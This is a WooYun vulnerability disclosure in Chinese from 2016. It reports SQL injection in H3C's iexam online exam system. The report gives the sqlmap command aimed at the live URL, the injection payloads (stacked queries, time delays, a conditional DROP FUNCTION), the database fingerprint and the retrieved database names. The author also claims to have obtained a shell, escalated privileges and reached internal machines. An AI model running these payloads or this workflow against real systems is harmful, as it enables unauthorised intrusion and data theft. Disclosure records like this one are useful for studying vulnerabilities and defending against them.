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缺陷编号:wooyun-2016-0171535

漏洞标题:华三通信考试系统Getshell可内网(影响几十台内网终端安全)

相关厂商:华三通信

漏洞作者: 路人甲

提交时间:2016-01-21 10:24

修复时间:2016-01-26 10:30

公开时间:2016-01-26 10:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2016-01-21: 细节已通知厂商并且等待厂商处理中
2016-01-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

rt
整个大学一半多的时间都要学h3c不知道为什么。。。
display。。。

详细说明:

https://iexam.h3c.com/customize/nwc_user_enterprise/login/login.html
使用了新为软件系统可注入,getshell

root@kali:/usr/share/sqlmap/output# sqlmap -u "https://iexam.h3c.com/site/ajax/WebSiteAjax.aspx?type=hits&ContentUid=123*"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:19:36
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[23:19:42] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
Payload: https://iexam.h3c.com:443/site/ajax/WebSiteAjax.aspx?type=hits&ContentUid=123'; IF(3655=3655) SELECT 3655 ELSE DROP FUNCTION PflM--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: https://iexam.h3c.com:443/site/ajax/WebSiteAjax.aspx?type=hits&ContentUid=123'; WAITFOR DELAY '0:0:5'--
---
[23:19:46] [INFO] testing Microsoft SQL Server
[23:19:47] [INFO] confirming Microsoft SQL Server
[23:19:48] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[23:19:48] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[23:19:48] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/iexam.h3c.com'


rieval
[23:29:08] [INFO] retrieved:
[23:29:10] [WARNING] time-based comparison requires larger statistical model, please wait...........................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[23:29:37] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
5
[23:29:50] [INFO] retrieved:
[23:29:56] [INFO] retrieved: master
[23:34:03] [INFO] retrieved:
[23:34:07] [INFO] retrieved: mode

延时就不慢慢跑了

漏洞证明:

4.png


内网ip

6.png


大量内外机器

7.png


开了3389但是没有lcx转发出来,不知为什么,家里网差代理一直没有搞上去55555 已提权

8.png


9.png


10.png


修复方案:

修改

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-26 10:30

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无